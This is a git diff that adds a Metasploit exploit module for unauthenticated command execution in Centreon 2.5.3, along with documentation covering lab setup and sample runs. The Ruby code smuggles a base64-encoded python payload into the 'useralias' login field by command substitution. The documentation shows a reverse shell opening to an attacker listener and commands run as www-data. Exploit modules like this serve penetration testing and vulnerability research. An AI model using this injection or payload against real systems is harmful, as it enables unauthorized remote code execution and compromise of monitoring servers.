diff --git a/documentation/modules/exploit/linux/http/centreon_useralias_exec.md b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md new file mode 100644 index 0000000000..005ba3dec2 --- /dev/null +++ b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md @@ -0,0 +1,69 @@ +## Vulnerable Application + + [Exploit-db](https://www.exploit-db.com/apps/bf269a17dd99215e6dc5d7755b521c21-centreon-2.5.3.tar.gz) + Archived Copy: [github](https://github.com/h00die/MSF-Testing-Scripts) + +### Creating A Testing Environment + +Creating a testing environment for this application contained many steps, so I figured I would document the process here. + + 1. Create a fresh install of Ubuntu 16.04. I used a LAMP install. + 2. Install php5.6 [askubuntu](http://askubuntu.com/questions/756181/installing-php-5-6-on-xenial-16-04) + 3. Enable php5.6 in Apache with ```a2enmod```, disable php7.0 with ```a2dismod``` + 4. Restart apache with ```apache2ctl restart``` + 5. Install [Nagios Plugins](https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/quickstart-ubuntu.html) starting at step 6. The plugins link is broken, utilize [nagios-plugins-2.1.1.tar.gz](http://www.nagios-plugins.org/download/nagios-plugins-2.1.1.tar.gz) instead + 6. Install [Centreon Engine](https://documentation.centreon.com/docs/centreon-engine/en/latest/installation/index.html) + 7. Install [Centreon Broker](https://documentation.centreon.com/docs/centreon-broker/en/2.11/installation/index.html#using-packages) + 8. Install [Centreon clib](https://documentation.centreon.com/docs/centreon-clib/en/latest/installation/index.html) + 9. Now install [Centreon Web](https://documentation.centreon.com/docs/centreon/en/2.5.x/installation/from_sources.html) + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/linux/http/centreon_useralias_exec``` + 4. Do: ```set payload``` + 5. Do: ```set rhost``` + 6. Do: ```check``` + ``` + [+] Version Detected: 2.5.3 + [*] 192.168.2.85:80 The target appears to be vulnerable. + ``` + 7. Do: ```run``` + 8. You should get a shell. + ``` + [*] Started reverse TCP handler on 192.168.2.229:4444 + [*] Sending malicious login + [*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.85:36792) at 2016-06-11 20:44:57 -0400 + whoami + www-data + uname -a + Linux centreon 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux + ``` + +## Scenarios + + Just a standard run. + + ``` + msf > use exploit/linux/http/centreon_useralias_exec + msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python + payload => cmd/unix/reverse_python + msf exploit(centreon_useralias_exec) > set lhost 192.168.2.229 + lhost => 192.168.2.229 + msf exploit(centreon_useralias_exec) > set rhost 192.168.2.85 + rhost => 192.168.2.85 + msf exploit(centreon_useralias_exec) > set verbose true + verbose => true + msf exploit(centreon_useralias_exec) > check + [+] Version Detected: 2.5.3 + [*] 192.168.2.85:80 The target appears to be vulnerable. + msf exploit(centreon_useralias_exec) > exploit + [*] Started reverse TCP handler on 192.168.2.229:4444 + [*] Sending malicious login + [*] Command shell session 1 opened (192.168.2.229:4444 -> 192.168.2.85:36792) at 2016-06-11 20:44:57 -0400 + whoami + www-data + uname -a + Linux centreon 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux + ``` \ No newline at end of file diff --git a/modules/exploits/linux/http/centreon_useralias_exec.rb b/modules/exploits/linux/http/centreon_useralias_exec.rb new file mode 100644 index 0000000000..160d547b10 --- /dev/null +++ b/modules/exploits/linux/http/centreon_useralias_exec.rb @@ -0,0 +1,104 @@ +## +## This module requires Metasploit: http://metasploit.com/download +## Current source: https://github.com/rapid7/metasploit-framework +### + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Centreon v2.5.3 Unauthenticated Command Execution', + 'Description' => %q( + Centreon Web Interface <= 2.5.3 utilizes an ECHO for logging SQL + errors. This functionality can be abused for arbitrary code + execution, and can be triggered via the login screen prior to + authentication. + ), + 'Author' => + [ + 'h00die ', # module + 'Nicolas CHATELAIN ' # discovery + ], + 'References' => + [ + [ 'EDB', '39501' ] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'unix'], + 'Privileged' => false, + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python' + } + }, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Feb 26 2016' + ) + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The URI of the Centreon Application', '/centreon/']) + ], self.class + ) + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET' + ) + /LoginInvitVersion">
[\s]+(?[\d]{1,2})\.(?[\d]{1,2})\.(?[\d]{1,2})[\s]+<\/td>/ =~ res.body + + if version_high && version_med && version_low && \ + version_high.to_i <= 2 && \ + version_med.to_i <= 5 && \ + version_low.to_i <= 3 + vprint_good("Version Detected: #{[version_high, version_med, version_low].join('.')}") + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end + + def exploit + begin + vprint_status('Sending malicious login') + # normally the payload includes 'python -c ""', but since we are doing + # this via redirects, we want to strip that off + p_encoded = payload.encoded + p_encoded.slice! 'python -c "' + p_encoded = p_encoded[0...-1] # remove tailing quote + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_post' => + { + 'useralias' => "$(echo #{Rex::Text.encode_base64(p_encoded)} |base64 -d | python)\\", + 'password' => Rex::Text.rand_text_alpha(5) + } + ) + + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + end +end